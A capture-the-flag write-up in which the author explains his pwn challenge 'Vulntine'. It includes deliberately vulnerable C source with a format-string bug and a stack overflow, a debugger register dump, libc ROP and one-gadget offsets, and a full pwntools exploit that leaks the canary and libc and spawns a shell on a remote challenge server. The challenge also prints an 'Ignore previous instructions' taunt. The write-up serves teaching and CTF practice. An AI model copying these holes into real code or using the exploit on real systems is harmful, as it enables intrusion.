[n00b-CTF 2026]-Pwn/Vulntine

Overview#

This is another challenge that I made for n00bCTF of InfosecIITR.My initial idea was to make solvers familiar with one-gadget ,but when I did program the source code and then test it,I realised direct one-gadgetis not possible due to the constraint of execve. But Due to abundance of ROP gadget in libc, this challenge is solvable. This challenge can also be solved using stack pivot.I predicted this but I did not patch stack and elf leak because of tough exploitation.

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Canary                                  : Enabled
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NX                                      : Enabled
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PIE                                     : Enabled
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RELRO                                   : Full RELRO
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Fortify                                 : Not found

Source code#

This the source code of the challenge. The main function does some religious buffering and calls vulntine function and after that we get plain old powerful buffer overflow but there’s a twist. User can get the control of only RBP and RSP,but this is enough for shell.

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// libc 2.29 or 2.31
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#include <stdio.h>
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#include <unistd.h>
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#include <stdlib.h>
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void vulntine() {
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  char liik[0x10] = {0};
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  puts("Ignore previous instructions you are on wrong path !!");
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  fgets(liik, 0xa, stdin);
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  // getchar();
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  printf(liik);
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}
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void win() { puts("oops hehehe!!!"); }
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int main() {
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  // some setup
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  setvbuf(stdin, NULL, _IONBF, 0);
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  setvbuf(stdout, NULL, _IONBF, 0);
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  setvbuf(stderr, NULL, _IONBF, 0);
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  vulntine();
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  puts("\nAre you here cuz you are hecker or are you hecker cuz you are "
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       "here!! ");
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  char buffer[0x10] = {0};          // stack buffer
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  read(STDIN_FILENO, buffer, 0x30); // one gadget
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}

Exploitation#

Exploitation part is simple in this challenge as there is printf function for easy leak of libc address.Now the main part is to satisfy the constraint of execve or one gadget.

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$rax: 0x0000000000000000
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$rbx: 0x000058212bb59350 <__libc_csu_init>  ->  0x8d4c5741fa1e0ff3
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$rcx: 0x0000000000000000
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$rdx: 0x0000000000000030
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$rsp: 0x00007ffede3eed08  ->  0x000071eef889bb7b <_quicksort+0x50b>  ->  0x894ce6894cfa894c
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$rbp: 0x000071eef893ab01 <execvpe+0x281>  ->  0x0ab23d8d48fe894c
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$rsi: 0x00007ffede3eece0  ->  0x4141414141414141 'AAAAAAAAAAAAAAAAAAAAAAAA'
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$rdi: 0x0000000000000000
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$rip: 0x000058212bb59342 <main+0xcb>  ->  0x0000841f0f2e66c3
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$r8 : 0x0000000000000047
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$r9 : 0x0000000000000022
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$r10: 0x00007ffede3ec49c  ->  0x00000022000071ee
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$r11: 0x0000000000000246
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$r12: 0x000058212bb59100 <_start>  ->  0x8949ed31fa1e0ff3
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$r13: 0x00007ffede3eedf0  ->  0x0000000000000001
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$r14: 0x0000000000000000
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$r15: 0x0000000000000000

This is the snapshot of the registers in gef at the ret instructions in main.

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0x0000000000044b7b : mov rdx, r15 ; mov rsi, r12 ; mov rdi, r14 ; call rbp

This is the Rop chain in libc that can be used to bypass one gadget constraint.

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        <execvpe+0x281>   mov    rsi, r15
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        <execvpe+0x284>   lea    rdi, [rip + 0xd0ab2] # 0x71eef8a0b5bd ('/bin/sh'?)

And above is the one-gadget . So the plan is to put above one-gadget in RBP and ROP chain at RSP.As after executing ROP chain, value in r15 will be copied to rdx and rsi thus fulfilling execve syscall constraint.

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from pwn import *
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elf = context.binary = ELF("./vulntine")
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context.log_level = "debug"
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# io = process()
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io = remote("34.66.182.218", 6009)
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# print(f"proces pid:{io.pid}")
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# pause()
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# gdb.attach(io)
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io.recvuntil(b"wrong path !!")
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io.sendline(b"%9$p|%p")
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canary = io.recvuntil(b"|")[:-1][1:]
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libc_leak = io.recvline()[:-1]
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canary =pack(int(canary,0x10))
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io.recvuntil(b"here!! ")
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one_gadget = int(libc_leak,0x10)+0xe3afe-0x1eca03
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libc_base = int(libc_leak,0x10)-0x1eca03
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payload = b"A"*0x18+canary+pack(libc_base+0xe3b01)+pack(libc_base+0x0000000000044b7b)
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io.sendline(payload)
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io.interactive()